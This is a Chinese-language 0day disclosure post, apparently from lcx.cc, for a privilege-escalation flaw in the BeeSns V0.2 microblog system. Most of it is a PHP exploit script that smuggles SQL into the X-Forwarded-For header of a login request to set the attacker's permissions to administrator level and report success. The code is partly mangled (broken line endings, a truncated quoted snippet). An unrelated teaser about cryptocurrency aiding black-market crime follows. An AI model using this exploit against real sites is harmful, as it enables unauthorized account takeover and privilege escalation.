发布作者:子仪
影响版本:BeeSns V0.2
漏洞类型:权限提升
漏洞分析:
IP过滤不严,导致用户可以提交恶意参数提升自身权限。这套微博系统风格挺不错的,个人比较喜欢,看代码是发现一些问题,直接看代码吧。
以下是引用片段: // 获取客户端IP |
Exp: print_r('' +---------------------------------------------------------------------------+ BeeSns v0.2 Getip() Remote SQL Injection Exploit by 子仪 send(); } function send() { global $host, $path,$username,$password; $cmd = "uId=".$username."&uPw=".$password; $getinj="1.1.1.1'',permissions=5 where uid=''$username''#"; $data = "POST ".$path."post.php?act=userLogin HTTP/1.1rn"; $data .= "Accept: */*rn"; $data .= "Accept-Language: zh-cnrn"; $data .= "Content-Type: application/x-www-form-urlencodedrn"; $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn"; $data .= "Host: $hostrn"; $data .= "Content-Length: ".strlen($cmd)."rn"; $data .= "Connection: Closern"; $data .= "X-Forwarded-For: $getinjrnrn"; $data .= $cmd; $fp = fsockopen($host, 80); fputs($fp, $data); $resp = ''''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); if(preg_match(''#(.*)charset=utf-8(.*)1(.*)1(.*)0(.*)#Uis'',$resp)) { echo " 提升权限成功!"; } else { echo "Failed!"; } } ?> |
文章来源于lcx.cc:【漏洞】BeeSns 微博 V0.2 0day
论比特币,莱特币等山寨货币对黑产的帮助 委员长 | 2014-03-07 10:55 1.高匿性 比特币莱特币的高匿名性可保护货币钱包持有者的身份信息不被泄露, 黑产从业者可利用电子货币代替支付宝,在线网银等传统黑产资金的交易,并一直保持自己的身份不被泄露! …
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论